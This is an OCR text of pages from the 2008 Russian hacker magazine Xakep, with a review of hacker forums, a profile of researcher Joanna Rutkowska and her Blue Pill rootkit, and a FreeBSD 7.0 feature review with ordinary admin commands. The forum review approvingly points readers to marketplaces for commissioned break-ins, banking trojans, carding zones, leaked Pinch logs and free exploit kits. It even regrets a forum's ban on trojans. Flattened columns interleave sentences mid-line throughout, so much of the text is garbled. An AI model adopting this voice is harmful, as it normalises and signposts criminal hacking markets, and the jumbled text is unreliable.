РФ. Она не должна быть направлена • Простой и удобный гуишный интер- • abtcapture — получение информации
на нарушение авторских прав и/или фейс об объектах (элементах интерфейса)
предоставление несанкционирован- • В отличие от большинства программ • abtcontrol — поиск объектов на эк-
ного доступа к защищенной информа- MouseRobot не запоминает перемещения ране и управление ими
ции. Автор программы не несет от- мыши. Вместо этого выполняется анализ — abtscrshot — создание скриншотов
ветственности за любой вред, ущерб интерфейса автоматизируемой про- экрана, окон и отдельных объектов
или действия его программного про- граммы, после чего создается своего
дукта, которые могут возникнуть в рода «карта», помогающая в дальнейшем Одно из основных отличий от MouseRobot — функ-
ходе работы, будь оно злоумышлен- находить нужные элементы интерфейса, ционирование в командной строке и фриварность.
ным или «просто в шутку» даже если изменится их местоположе- Да, да, утила полностью бесплатная, что не может
ние, размеры или внешний вид не радовать. Кстати, софтину удобно юзать для
Как ты понимаешь, сферы применения утилы • Записанная последовательность сбора информации с веба. Расписывать весь алго-
могут быть совершенно разными. Посему мне действий выполняется с максимальной ритм действий я не буду, тем более, утила снабжена
остается лишь выложить тулзу на наш DVD и скоростью, которую способна обеспе- подробной справкой. Могу лишь посоветовать
уповать на твою совесть. чить автоматизируемая программа взять AutomationBox Tools на вооружение. z

xàêåð 05 /113/ 08
075
>> сцена

Заметки Johnny Insider


/ [email protected] /

о хак-форумах
Предвзятый обзор неприватных хакерских
и околохакерских конференций

Самый лучший источник информации в хакерской среде — это специализиро-


ванные форумы. Развелось их нынче немало и в них стало легко запутаться.
Чтобы этого не случилось и чтобы тебе не пришлось бродить по пустым или
ламерским сайтам, мы попросили Джонни написать коротенький отчетик о те-
кущем положении дел на хакфорумном поприще.

forum.xakep.ru
• Напрямую можно (попробовать) пообщаться с редакцией. Из команды тут
обитают: nikitoz, step, forb, gorl, dlinij, и наверняка, кто-то еще, кто просто не
палится. Основной канал для общения с журналом.
• Форум существует уже почти 8 лет, сообщений дофига и на любые темы, но
что-то серьезное и приватное я находил очень редко.
• Бизнес есть, что-то продается, заказываются взломы, бывают кидки. Есть
проплаченная реклама. Интересно, кому они платят?
• Много хорошо прокачанных веток, нет откровенного слива. Все, от дизай-
на и кончая взломом и западлом.
• Культ Пупкина-Зейда. Целая тусовка, регулярно приезжающая на все
акции журнала. Многих редакция помнит в лицо.
• Для облегчения работы управления «К» на сайте есть «Геотаргетинг»,
с помощью которого все пользователи могут привязать свой профиль к
точке на карте и даже при необходимости познакомиться с тем, кто живет в
округе.
• Форум вместе с сайтом раз в год ломают.

wasm.ru/forum
• Специализированный форум. Тусуется куча профессионалов. Новичок с
васма на inattack покажется гуру... потому что направления у них разные,
конечно ;).
• В каждом треде можно вычитать что-то интересное о низкоуровневом
программировании.
• С вопросами по вирусам, упаковщикам, крипторам и вообще по хеккерно-
му программированию — только на Васм.
• У модеров сквозит нелюбовь к концепции нашего журнала, однако много
юзеров ][ читают, и это заметно по постам.
• Wasm — это колыбель вирусмейкера. Большинство авторов руткитов и
троянов начинали именно отсюда.
• Тут есть даже Крис Касперски. А также куча разработчиков антивирусов,
драйверов и прочих сложных, но прикольных штук.
• Коммерческий раздел — лучшее место для того, чтобы найти кодера под
какую-нибудь хакерскую задачу. За написание банковского троя тут дают
до 15к.
• А еще тут все ищут Зомбу (легендарного и бессмертного гуру-вирусмейке-
ра z0mbie). Интересно, зачем?

076 xàêåð 05 /113/ 08


>> сцена

forum.antichat.ru
forum.web-hack.ru
forum.xakep.ru
forum.zloy.org
forum.asechka.ru
xakepy.ru
cardingworld.cc
cracklab.ru
wasm.ru/forum
damagelab.org
forum.inattack.ru
exploit.in
verified.ru
forum.mazafaka.ru
carder.info
hackzona.ru
security-teams.net
hackeveryday.com
reng.ru
kiber-zona.org
dkcs.qwhost.net
rootkits.ru
0 100000 200000 300000 400000 500000
Количество сообщений и зарегистрированных пользователей на форумах (апрель 2008)

forum.antichat.ru
• Очень объемный и живой форум. Много умных людей, много лохов, много флейма, много всего
полезного. В принципе, достаточно высокий средний уровень подготовки.
• На форуме постится много интересных и эксклюзивных статей и сорцов (разделы «Избранное»
и «Статьи»).
• Активный бизнес-раздел: vpn, шеллы, соксы, взломы, ftp, загрузки и т.п. Трояны запрещены. А
жаль.
• Несколько постоянных авторов взлома пришли в журнал как раз с античата. За что мы его и
любим, а он нас — нет.
• Радует, что нет всяких оффтпиковых разделов типа «Дизайн».
• Все-таки это самый крутой форум по хаку. На том же веб-хаке всего по безопасности тысяч 100
сообщений, а на античате более полумиллиона и почти без оффтопика.

forum.web-hack.ru
• Мной этот форум почему-то воспринимается как неприватная альтернатива закрытой от лишних
глаз мазе. Хотя, думаю, зря воспринимается.
• Большой и очень активный бизнес-раздел, много сервисов и предложений. Мелькают ники,
знакомые по приватным форумам. Доступ туда только зареганным, однако зарегаться может
любой.
• Много оффтопиковых и совершенно неинтересных мне разделов типа «Игры, музыка, фильмы»,
«В помощь ВебМастеру» и т.п. Собственно «по теме» раздела всего 4 из 20, но наиболее активные
все равно — по информационной безопасности и хакерству.
• Дохрена баннеров: антиабузные хостинги, загрузки троянов, фарма-партнерки, соксы и т.п.
• С точки зрения «науки» форум интереса не представляет, а вот начать зарабатывать тут можно.

xàêåð 05 /113/ 08
077
>> сцена
forum.inattack.ru
• Если на rootkits трояны пишут, на wasm частенько заказывают, на веб-
хаке, бывает, продают, то на inattack ищут халявные и вовсю пробуют «на
соседях». Причем чаще всего используется Pinch.
• Узнал много нового о легком и быстром хаке. Например, неприятелю не
обязательно отправлять троя, можно отправить ссылку на фейк. Говорят,
работает ;).
• Очень много новичков. И их здесь не обижают. Спросишь, как узнать IP
ламера в чате — дадут 10 рабочих способов — выбирай любой.
• Над некоторыми тредами угорали всей нашей инсайдерской группой.
• Никакого бизнеса тут нет.
• Повеселил тот факт, что некоторые пользователи форума ухитряются до
сих пор воровать интернет. Я-то думал, что мода на чужие пароли к прову
прошла году этак в 2000. Рисковать своей шеей ради анлима, которого
можно купить за 150 рублей — это очень странная тема.

xakepy.ru
• Неплохой форум, ему уже лет пять, однако я о нем почему-то очень редко
слышу.
• Хоть тут и много всяких трешовых разделов, основное направление
форума все равно — хак.
• Имеется уже два выпуска собственного хакерского езина «xakepy.ru
ez!n3». Ценности он большой не представляет, но взглянуть можно. Осо-
бенно, если интересуют маны по установке еггдропа или openvpn ;).
• Еще во времена повального распространения платных билдов пинча
была на этом форуме прикрепленная веточка в разделе «Социальная
инженерия & Трояны», где то ли Дамрай, то ли еще кто-то все время инте-
ресовался, чего бы добавить. Тогда было очень интересно.
• Есть активный бизнес-раздел (второй по объему на форуме), black- и
white-листы и реклама по $30 в месяц за приклепленный топик.
• Как и у других форумов, на vBulletin есть RSS, что не может не радовать.
• Присутствует также кардинговая VIP-зона с входом по заявкам. В ней уже
4.5к сообщений.

exploit.in/forum
• Я бы, наверно, вообще не стал бы говорить об этом пусть и объемном, но
совершенно бесполезном для меня форуме, если бы не «Смерть барыгам».
Это 23‑страничный тред, в котором люди выкладывают «паблик и полупаб-
лик материалы, замеченные в обороте у спекулянтов». Эксклюзив.
• Искал я mpack свеженький, везде он штуку баксов стоит, а здесь бери да
качай.
• Также я нашел в «Смерти барыгам»: крипторы, полуприватные трои с
админками, каких-то ддос-ботов, не очень свежие сплоиты, чекеры и даже
пинчевые логи. В процессе разбора халявы подцепил трояна в живом
виде. Хорошо хоть под VMware был.
• На форуме проводятся конкурсы с призами, но с хреновыми и редко.
• В разделе «Материалы по взлому» публикуются вполне читабельные
статьи, но редко и маленькие. С античатом несравнимо.

078 xàêåð 05 /113/ 08


>> сцена
rootkits.ru
• Хороший форум для разработчиков всякой малвари, руткитов и прочего
зверья.
• Бывает такое, что кто-нибудь из присутствующих нечаяно спалит какой-
нибудь (полу)приват. Мелочь, а приятно.
• Форум небольшой, модераторы адекватные и хорошо разбирающиеся в
теме, но некоторые пользователи производят впечатление полных отмо-
розков. Что-то вроде «научился писать руткиты и теперь я бог». В общем,
безпочвенный снобизм, бывает, наблюдается.
• Немало инфы по kernel-кодингу в специальном разделе. Раньше, как я
понимаю мест где можно было поговорить на эту тему толком то и не было.
Сейчас есть отдельный раздел на wasm, нечто по низкоуровевому кодингу
на rsdn и вполне активный форум на rootkits.ru.
• Мое ощущение, что если вирмейкерская сцена где-то и есть, то только на
васме и тут. Ну, если не вирмекерская, то просто малварная.

cracklab.ru
• Лучший известный мне форум, посвященный взлому программ, реверсингу и т.п. Это действи-
тельно полезное место.
• Местный контингент — это в основном гики, получающие истинное удовольствие от обсуждения
новой версии какого-нибудь PE-редактора или дампера.
• Где, как не здесь, помогут снять защиту или разобраться с триалом.
• На cracklab’е вполне адекватная структура форума, немного разделов и все очень прокаченные:
• Креки, обсуждения;
• Софт, варез;
• Вопросы новичков;
• Программирование.
• Это место на равне с васмом должно быть в букмарках хакера. z

xàêåð 05 /113/ 08
079
>> сцена

X-Profile
Мария «Mifrill» Нефедова
/ [email protected] /

Жанна
Рутковская
Героиня нашего сегодняшнего профайла — Жанна Рутковская (Joanna
Rutkowska) — не любит, когда ее называют хакером. Она предпочита-
ет более корректный и обтекаемый термин: исследователь в области
информационной безопасности. Но кем, если не хакером, считать че-
ловека, взломавшего Висту, на весь мир посрамившего безопасность
поделки Microsoft и создавшего нашумевший руткит Blue Pill?

Имя: Жанна Рутковская

Возраст: 27 лет

Заслуги: Множественные выпады в сторону системы безопасности Windows

Vista: создание руткита Blue Pill; единственная женщина, в 2006 году

вошедшая в ТОП-5 хакеров мира

О Жанне атака срыва стека). После прочтения статьи Рутковская была настрое-
Рутковская не только молодая симпатичная девушка, но и наша гео- на скептически, уверенная,что описанное во Phrack'е не сработает.
графическая соседка. Она родилась и живет в Польше. Жанна окон- Но эксперимента ради она воспроизвела эксплойт на своей машине и
чила Варшавский технологический университет (Warsaw University of протестировала. Все получилось. По признанию Жанны, когда эксплойт
Technology), а именно — матфак. Отметим, что всего 5% студентов на срабатывает — это странное и волнующее ощущение, сродни какому-то
потоке — представительницы прекрасного пола. Сама Жанна (первый волшебному трюку.
компьютер у которой появился в 11‑летнем возрасте) считает эту стати- Однако на волшебстве в наше время далеко не уедешь. Жанна задума-
стику странной — девушку-хакера удивляет, почему столь мало дам инте- лась, чем она хочет заниматься. От интереса к устройству ОС она пришла
ресуется точными науками. Но цифры цифрами, а по словам Рутковской, к созданию руткитов. Так как Рутковская до сих пор специализируется
во время учебы она не испытывала никаких сексистских притеснений именно в этой области, очевидно, выбор был удачен. Стоит отметить,
или проблем. что университетское образование мало общего имело с тем, чем Жанна
Ее первым компьютером был ныне доисторический PC AT, с 2 Мб ОЗУ, занята сейчас. По сути, она самоучка и львиную долю знаний приобрела
40 Мб дискового пространства и примитивной видеокартой «Hercules». исключительно путем практики.
Рутковская шутит, что ей ничего не оставалось, кроме как начать про-
граммировать, ведь игры и «развлекательные» приложения на машине Разработки и проекты
просто не шли. С самого детства любившая математику Жанна легко Определившись с направлением, Рутковская продолжительное время
освоилась со сложной техникой, и на этом ее интерес не угас. В част- проработала в компании COSEINC. Деятельность этой сингапурской
ности, она занялась Ассемблером, программированием, внутренним фирмы, как несложно догадаться, ориентирована на исследования, раз-
строением ОС и etc. Все это плавно перетекло в увлечение написанием работки и предоставление услуг в сфере информационной безопасности.
различных эксплойтов. Именно под крылом COSEINC родился небезызвестный руткит Blue Pill,
Толчком к первому хаку послужила публикация в электронном журнале вызвавший немало споров.
Phrack (http://www.phrack.org/) — культовом андеграундном издании с В компании Жанна собрала вокруг себя коллектив людей, составивший
более чем двадцатилетней историей. небольшой отдел Advanced Malware Labs. Название переводится, как
Напечатанная в этом оплоте хакерства статья описывала соз­дание «Лаборатория продвинутого вредоносного ПО». Однако подразделение
stack-smashing эксплойта, то есть атаку на переполнение буфера (она же было создано исключительно во благо. Как говорится, «врага надо знать

080 xàêåð 05 /113/ 08


>> сцена

Выступление Жанны на Black Hat 2006

в лицо», а «лучшая защита — это нападение». В общем-то, ни для кого сти, вызов Рутковской бросила команда Томаса Пташека (Thomas Ptacek)
не секрет, что многие хакеры стараются обращать внимание произво- — в лице самого Томаса, а также Нейта Лоусана (Nate Lawson) и Питера
дителей софта на недоработки, дыры и недочеты в их детищах, просто Ферри (Peter Ferrie). Они предложили тест — взять два компьютера и
каждый делает это по-своему. В частности, у Рутковской была весомая на одном из них негласно запустить руткит. Команда Пташека напишет
причина работать именно над Vista, а не, скажем, Linux — большинство детектор, который сможет определить, на какой именно машине функ-
заказчиков COSEINC интересовались безопасностью именно этой майк- ционирует «Синяя таблетка». Поединок, предположительно, должен был
рософтовской ОС. Спрос рождает предложение. состояться во время Black Hat 2007.
Продуктом исследований и тестов стала «Синяя таблетка». Аналогия с История получила довольно широкую огласку. За событиями следили не
«Матрицей» братьев Вачовски очевидна. Используя технологии аппарат- только в узких кругах, но и писали в новостях и блогах. Все ждали ответа
ной виртуализации, таблетка (если нужно — в обход цифровых подписей Жанны. Вызов она приняла, но с некоторыми поправками. В частности,
драйверов) устанавливает гипервизор (hyper-visor) — и начинается. предложила увеличить число компьютеров до пяти (что довольно логич-
«Проглатывая» Blue pill, система погружается во власть виртуального но) и... попросила команду Пташека оплатить работу двух программистов,
эмулятора и даже не подозревает об этом. исходя из ставки $200 в час (sic!) на человека. Учитывая, что по пример-
Исходный код «пилюли» Жанна написала сама, опираясь на бета-версии ным подсчетам Жанны, на завершение работы над руткитом ушло бы
Vista. Свои наработки в виде прототипа она поспешила представить сна- около полугода, а обычный рабочий график — это 8 часов в сутки и 20
чала на конференции SyScan в Сингапуре (в июле 2006, одновременно дней в месяц, она запросила порядка $384000. Это решило дело. Здесь
осветив вопрос у себя в блоге), а затем, 3‑го августа, выступила с докла- будет уместно процитировать самого Пташека: «Зачем нам покупать за
дом на ежегодном слете Black Hat в США. $384000 руткит, который мы точно сможем обнаружить?» Поединок не
Руткит вызвал немалый резонанс, но вовсе не со стороны Microsoft состоялся.
(они вообще отмахнулись от взлома, мол, никто не утверждал, что сло- Жанна — завсегдатай всевозможных конференций, брифингов, съездов
мать новую ось, тем более, бету, нельзя), а со стороны коллег по цеху. и форумов, посвященных информационной безопасности. А после того,
Рутковская утверждала, что обнаружить Blue pill 100% невозможно, и, как в 2006 журнал eWeek включил ее в пятерку хакеров, оставивших след
конечно же, нашлись те, кто заявил, что они докажут обратное. В частно- в истории уходящего года, Рутковскую можно назвать еще и настоящей

xàêåð 05 /113/ 08
081
>> сцена
звездой. Число желающих взять у нее автограф после Лаборатория невидимых вещей
выступления постоянно растет. В середине 2007 Рутковская покидает COSEINC. Думаю,
Доклады Жанны на мероприятиях такого рода в основном не в последнюю очередь потому, что компания охладела
сконцентрированы вокруг нескольких проблем. Она часто к проекту Blue pill. Но Жанна уходит не в «неизвест-
выступает с обвинениями в адрес Microsoft, утверждая, ность». В Варшаве она создает свою консалтинговую
что те не желают смотреть правде в глаза и признать уяз- фирму и теперь может называться еще и «бизнес-леди».
links вимость своих систем. «Сама структура современных ОС Детище Рутковской получает имя Invisible Things Lab
• bluepillproject.org такова, что даже опытный, продвинутый, юзер не может — «Лаборатория невидимых вещей».
— проект Blue pill. быть на 100% уверен в своей защищенности», — утвержда- По сути, в ITL работает только сама Жанна и наш сооте-
ет девушка-хакер. Вообще, по мнению Рутковской, одна из чественник — Александр Терешкин aka 90210, специа-
• invisiblethingslab. главных проблем современного ПО заключается в том, что лист по руткитам, малварю и реверсному инжинирингу. С
com — корпоратив- производители зацикливаются на предотвращении атак и Терешкиным судьба свела Рутковскую еще в COSEINC, где
ный сайт ITL. проникновений вредоносного софта в систему, в то время, он входил в состав ее команды Advanced Malware Labs.
как техник его обнаружения гораздо меньше — и они не К ITL он присоединился в роли ведущего исследовате-
• invisiblethings.org справляются со своей задачей. То есть, нужно или менять ля. Едва ли не первым делом они переписали «Синюю
— персональный сайт основы на аппаратном уровне или уделять больше внима- таблетку» практически с нуля — новую версию Жанна
ITL. ния методам обнаружения. назвала более зрелой. Интересно, что спонсировать их
Согласна Рутковская и с еще одной актуальной проблемой деятельность взялась небезызвестная компания Phoenix
• theinvisiblethings. сегодняшних дней, на которую очень любят кивать деве- Technologies, а большая часть кода теперь принадлежит
blogspot.com — блог лоперы: настоящий бич и самая большая дырка в безо- «перу» Терешкина. Впрочем, Рутковская не раз призна-
Жанны. пасности — это сам пользователь. Жанна подчеркивает, валась, что в новой фирме обязанности распределяются
что производителей это никоим образом не оправдывает, так: программирование преимущественно легло на плечи
но склоняется к тому, что людям необходимо препода- Александра, а сама она последнее время занимается
вать азы компьютерной безопасности и, возможно, даже вопросами бизнеса.
ввести какую-то аттестацию, по аналогии с получением Деятельность ITL ориентирована как на работу с разработ-
водительских прав. Последнее особенно касается выхода чиками софта (от создателей ОС до девелоперов защитных
в интернет. программ), так и на корпоративных клиентов, нуждающихся
в независимой проверке их систем безопасности. И конеч-
но, на сотрудничество с правоохранительными органами. В
основном — различные семинары и курсы на тему совре-
менной кибер-преступности и того, как все это работает.
Представителям правопорядка тоже нужно идти в ногу со
временем.

Хобби и личная жизнь


Эту часть профайла мы нередко опускаем, так как, будем
честны, мало кому интересно, под какую музыку кодит Уолл
или какую кухню предпочитает Джобс. Но сегодня случай
особый. Поэтому несколько фактов, не касающихся профес-
сиональной деятельности Рутковской.
Жанна предпочитает джаз и классику (Вивальди и
Паганини). Свободное от работы время проводит, как все
нормальные люди — среди ее увлечений: походы в кино,
театр или просто обычные прогулки. И кстати, к вопросу о
кухне. Итальянская и японская :).
Если бы Жанна не занималась компьютерами, то вполне
могла бы представить себя в роли адвоката, юриста или
следователя. По ее собственным уверениям, она совер-
шенно не гуманитарий, но, как ни парадоксально, не воз-
ражала бы и против писательской карьеры.
На двух основных машинах дома Жанна использует
Vista. Дело в том, что, по ее мнению, open source софт
нисколько не безопаснее ПО платного. Конечно, у
многих решений в области безопасности ноги растут
именно из open source систем, но, видимо, Vista с ее
знакомыми до боли багами все же милее. Вообще,
против Unix'а или MAC OS Жанна совершенно ничего
не имеет. Более того, ей приходилось работать и с
ними, просто гораздо меньше, да и привычка — страш-
ная сила.
Вот и получается, дорогой читатель, что девушка-ха... пар-
дон, специалист в области информационной безопасности
— не такое уж диво и вовсе не страшный зверь. Напротив,
Рутковскую хочется назвать секс-символом, гармонично
вписывающимся в сферу IT. z

082 xàêåð 05 /113/ 08


>> сцена Роутер и по совмести-
рабочее место хакера тельству ADSL-модем.

gorl,выпред
20" моник с открытой
линуксовой консолью.

Внешний винт на 1 Тб.

Два айфона в кредлах. Сабноут Asus S200. Ему


уже лет 5, но он по-преж-
нему круче eeePC.

Системный блок в
корпусе от Thermaltake
с 6 гигами оперативы, Мышь лазерная,
4 ядрами и стальными геймерская.
стенками ;).

рабочее место нормального человека


Монитор Apple Cinema
Сан Cаныч, цветокорректор 23".

Гламурный телефон от
Apple. У gorl’а таких два.
Маньяки.

Apple Mac Pro с двумя


камнями Xeon и 3 гига-
ми оперативы.

Идеальная чистота.

084 xàêåð 05 /113/ 08


>> сцена

рабочие места читателей


Пришли на [email protected] фотку своего действительно хакерского
рабочего места (в хорошем разрешении) и мы опубликуем ее в следующих
номерах!

Рабочее место хакера ([email protected]), который явно любит Не понимаем, как Симонов Михаил ([email protected]) ухитряется работать
бухнуть. Дохрена компов, водки, пива и мусора. Unhack обещал убраться и за таким маленьким моником.
просил передать привет Zloy Team.

Бардак Коляна Беляева ([email protected]). Евгений Ониксов ([email protected]>) живет с буком и компьютерной
Интересно, что это на тарелке? литературой на кухне.

У pluto ([email protected]) все очень цивильненько, так даже и А чувак с мылом [email protected] работает вот в такой обстановке.
не скажешь, что хакер.

xàêåð 05 /113/ 08
085
>> unixoid

Владимир «turbina» Ляшко


/ [email protected] /

Великолепная
семерка
Обзор новшеств в FreeBSD 7.0

В последние дни февраля была анонсирована седьмая версия популярной


операционной системы FreeBSD, де факто являющейся стандартом для
серверов различной направленности. Разработчики шли к этому событию
свыше двух лет. Многочисленные изменения затрагивают почти все ком-
поненты ОС — ядро, сетевые протоколы, файловую систему... Самое время
познакомиться с новинками.

Немного о FreeBSD которая, как ни странно, тоже считается веткой для разработчиков. Рабочие
Чтобы начать разговор, нужно пару слов сказать о самой FreeBSD. Проект серверы рекомендуется переводить на STABLE только после проверки
возник в начале 1993 года на основе кода одной из систем, разработан- работоспособности системы. На основе STABLE периодически появляются
ных в недрах Калифорнийского Университета Беркли (Berkeley Software тщательно протестированные релизы (RELEASE).
Distribution, отсюда и приставка BSD). Цель проекта — предоставление про- Итак, сегодня у нас на руках релиз 7.0, а седьмая ветка из CURRENT перешла
граммного обеспечения, которое может быть использовано для любых целей в STABLE.
и без дополнительных ограничений. Это гарантируется применяемой BSD
лицензией, насчитывающей всего три пункта и разрешающей использование Повышение производительности
исходного кода системы без его обязательной публикации (как в GNU GPL). В анонсе, появившемся после выхода FreeBSD 7.0, отмечались повышенные
Несмотря на изначальное ориентирование на работу в командной строке, производительность и стабильность системы в целом (особенно это касается
FreeBSD является самой современной ОС, поддерживающей многопро- многопроцессорных систем). В качестве доказательства был представлен
цессорные и многоядерные системы, сетевое оборудование, мультимедиа ряд тестов (people.freebsd.org/~kris/scaling). Последняя фряха показывала в
устройства и прочее. И хотя эта операционка больше популярна на серверах, 3.5 раза большую производительность по сравнению с FreeBSD 6.x и на ~15%
она также комфортно чувствует себя на ноутбуках и рабочих станциях. выше, чем Linux с различными ядрами ветки 2.6.
Помимо программ, включенных в базовую поставку, доступна коллекция портов За счет чего обеспечивается такой прирост?
и прекомпилированных пакетов, предоставляющая простой метод установки Исторически сложилось, что FreeBSD была заточена под однопроцессорные
приложений. Не стоит забывать и о бинарной совместимости, благодаря которой системы и не очень дружила с несколькими процами. Работать с ними она
FreeBSD умеет работать с приложениями, написанными для Linux. могла еще с третьей версии, но вот используемый алгоритм «giant lock» был
Существует две ветви FreeBSD — CURRENT и STABLE. Первая относится к далек от оптимального. Хотя пользовательский код и мог выполняться на не-
нестабильной и тестовой. В ней обкатывается новый экспериментальный код, скольких процессорах, ядро, «охраняемое» mplock, в единицу времени обра-
поэтому предназначена она, скорее, для энтузиастов и опытных пользовате- батывало только один процесс — исключение составляли разве что некоторые
лей. После тестирования фичи попадают в производственную ветку STABLE, прерывания. Учитывая возрастающую популярность многопроцессорных, а

086 xàêåð 05 /113/ 08


>> unixoid
затем и многоядерных систем, так долго продолжаться не могло. иначе, в случае изменения структуры, при следующей загрузке
В 2000 году был создан проект SMPng (SMP next generation), на возможно завершение с ошибкой. Это нужно помнить при
который и была возложена задача изменения дизайна ядра использовании ZFS.
таким образом, чтобы программы могли выполняться парал- В версию 7.0 добавлен порт файловой системы tmpfs, которая
лельно. Дебют новой модели состоялся в версии FreeBSD 5.0, была разработана NetBSD’шниками в рамках программы Google
где mplock был заменен целым набором локальных блокировок Summer of Code. Этот модуль тоже помечен как эксперименталь- info
различных сервисов ядра, а обработка прерываний вынесена ный, но он тщательно протестирован и вполне готов к работе. • Талисманом
в отдельный процесс. Интересно, что в однопроцессорных В Linux технология появилась намного раньше. С ее помощью системы является
системах такая схема проигрывала в производительности. С можно использовать участки ОЗУ как обычные блочные устройс- демоненок Beastie.
версии FreeBSD 5.3 началась адаптация к параллельной работе тва. Учитывая, что обмен данными в оперативке на несколько Есть и еще один,
некоторых системных функций, в частности сетевого стека и порядков выше, можно увеличить скорость выполнения менее известный,
виртуальной памяти, которая была продолжена в шестой версии некоторых операций. Не знаю, окажется ли востребованной эта талисман: Devilette
системы (например, VFS и UFS уже допускали параллельный функциональность на десктопах и серверах, но на встроенных (ака daemonbabe,
доступ). Впрочем, giant lock присутствовал практически до выхо- устройствах лишней она точно не будет. Чтобы подключить daemoness) — девуш-
да 7.0 (например, сетевой NET_NEEDS_GIANT убран летом 2007). tmpfs, достаточно выполнить команду: ка в демоническом
Теперь же FreeBSD является операционкой, полностью поддер­ красном костюме.
живающей параллельное выполнение задач. Отмечается, что # echo 'tmpfs_load="YES"' >> /boot/loader.conf
при последовательном увеличении процессоров до восьми, • В новой фре убраны
общая производительность системы растет линейно. При компиляции ядра не забываем включить параметр все утилиты mount_*.
Новый планировщик ULE в третьей редакции был переписан и «options TMPFS». И теперь монтируем любой каталог, напри- Привыкай задавать
оптимизирован для работы на мультипроцессорных системах. мер /tmp: тип файловой системы
Алгоритм, использующий балансировку деревьев, достаточно через «mount -t»!
сложен, и при выборе CPU учитывает большое количество пара- # mount -t tmpfs tmpfs /tmp
метров, например, на каком из процессоров задача выполнялась • Упростить настройку
в предыдущий раз. Низкоприоритетная задача, запущенная на Для автоматического монтирования при загрузке добавляем FreeBSD можно за
одном из CPU, вытесняется высокоприоритетной. Правда, в вер- эту запись в /etc/fstab. Последним параметром обязательно счет использования
сии 7.0 по умолчанию используется древний 4BSD sheduler: должен стоять 0. Иначе fsck попробует проверить tmpfs и графических инс-
потерпит неудачу (так как не поддерживает данный тип ФС), что трументов, разраба-
% grep SCHED /usr/src/sys/conf/NOTES остановит или задержит процесс загрузки. тываемых проектом
options SCHED_4BSD К модульной системе управления дисками GEOM, появившейся в DesktopBSD. Ты
#options SCHED_ULE FreeBSD 5.х, добавлен новый класс GEOM_JOURNAL (ранее тре- найдешь их в портах
бовался патч). Он обеспечивает любой объект GEOM средствами (sysutils/desktopbsd-
Поэтому, чтобы увидеть в работе новый планировщик, ядро при- регистрации данных. Поддержка в коде UFS (пока только UFS) tools).
дется пересобрать. Но ULE уже официально рекомендуют для означает, что при необходимости ее очень легко можно сделать
повышения производительности системы. Обещают, что с 7.1 журналируемой, увеличивая скорость загрузки системы (не нужно • Дерево портов
он будет использоваться по дефолту. Кстати, обрати внимание запускать fsck) и гарантируя целостность данных. Для управле- FreeBSD содержит
на название параметра — SCHED_ULE. Третий ULE является ния журналированием файловой системы предназначена утилита правила сборки для
форком оригинального ULE 2.0 и раньше назывался — SCHED_ gjournal(8). Журналирование осуществляется на уровне 18000 приложений.
SMP (наверное, поэтому именно так он указывается во многих блоков, а не на уровне файловой системы, то есть в протокол
новостных лентах и обзорах). попадают данные и метаданные. При этом данные и журнал могут • В FreeBSD 8 нас
Библиотека phkmalloc, отвечающая за управление динамичес- храниться как одном, так и на разных поставщиках. Последний ждут: улучшенный
кой памятью и разработанная еще в середине 90‑х Поулом Кам- вариант пригодится при повышении производительности дис- планировщик ULE,
пом, заменена ejmalloc (people.freebsd.org/~jasone/jemalloc), ковой подсистемы. Чтобы оптимизировать производительность, bsdlabel, поддержи-
которая написана с учетом работы на SMP-системах. при использовании gjournal следует отключать механизм вающий 26 разделов,
Soft Updates. Но это еще не все. Например, gjournal может поддержка загрузки
Файловые системы быть сконфигурирован поверх других поставщиков (gmirror, из разделов GPT (GUID
FreeBSD получила поддержку файловой системы ZFS (Zettabyte graid3), которые теперь также будут поддерживаться в целост- partition tables), вир-
File System), которая первоначально разрабатывалась Sun ном состоянии. А значит, синхронизацию после отказов системы туализация сетевого
Microsystems для Solaris. Особенностью 128‑битной ZFS являет- на них можно отключить. Настроить журналирование на UFS при стека, продолжение
ся возможность работы с файлами и разделами очень большого помощи gjournal достаточно легко: работы по портирова-
размера. В ней объединена концепция файловой системы и нию Dtrace и многое
менеджера логических дисков (как LVM). Ее отличают высокое # gjournal load другое.
быстродействие, простое управление объемами хранения дан-
ных, отсутствие фрагментации, переменный размер блока и ме- Теперь создаем GEOM-поставщика:
ханизмы, обеспечивающие целостность данных. Но пока такая
поддержка отмечена как экспериментальная и имеет ряд огра- # gjournal label /dev/da0
ничений. Например, FreeBSD не может загружаться с ZFS, также
не поддерживается ACL и некоторые другие характеристики На устройство натравливаем newfs или tunefs с ключом '-J ' и
ZFS. К тому же, она пока доступна только для платформ amd64, выполняем монтирование:
i386 и pc98. Но главное — файловые системы UDF теперь можно
строить прямо на ZFS! По умолчанию модуль ZFS отключен и # newfs -J /dev/da0.journal
советую перед началом работы почитать ZFSQuickStartGuide # mount -o async /dev/da0.journal /mnt
(wiki.freebsd.org/ZFSQuickStartGuide).
Назову еще один немаловажный нюанс. Обычно каталог /boot Параметр async команды mount рекомендуется при исполь-
монтируется в режиме только для чтения (в single mode), но зовании журнала. Дефолтное ядро версии 7.0 поддерживает
утилитам ZFS необходима возможность записи в /boot/zfs, gjournal по умолчанию, и нужный модуль загружается при

xàêåð 05 /113/ 08
087
Меню sysinstall — ничего не изменилось

запросе. При самостоятельной пересборке не забудь включить «options Выбор файловой системы в finstall
UFS_GJOURNAL». Для подстраховки следует указать загрузку модуля:

# echo 'geom_journal_load="YES"' >> /boot/loader.conf в FreeBSD находилась в весьма плачевном состоянии. Даже в официальной до-
кументации большими буквами пугали нашего брата, мол, поддерживается она
Можно настроить журналирование и на существующей файловой системе, не полностью, использовать ее можно лишь на свой страх и риск. Да и понятие
но только в том случае, если последний сектор, в котором gjournal хранит «стабильность работы» как таковое отсутствовало. Уронить систему или потерять
информацию, не использован файловой системой. информацию при использовании unionfs было просто. В версии 7.0 появилась
Класс gvirstor (wikitest.freebsd.org/gvirstor) позволяет создавать виртуаль- новая, стабильная реализация этой файловой системы, написанная Даичи Гото
ные GEOM-провайдеры большей емкости, чем имеющееся в распоряжении (people.freebsd.org/~daichi/unionfs) с нуля. Более того, она перекочевала и в
физическое хранилище (режим overcommit). Стоит отметить, что к такому шестую ветку FreeBSD. Это открывает большие возможности, например, можно
виртуальному устройству очень просто добавить дополнительные разделы. смонтировать CD-ROM и «записывать» в него информацию:
Процесс выглядит следующим образом. Сначала создаем устройство /dev/
virstor/mydisk, к которому привязываем диски ad5 и ad6: # mount -t cd9660 -o ro /dev/acd0 /cdrom
# mount — t unionfs -o noatime /var/cdrom /cdrom
# gvirstor label -v mydisk /dev/ad5 /dev/ad6
Теперь каталог /var/cdrom примонтирован «поверх» /cdrom и с ним
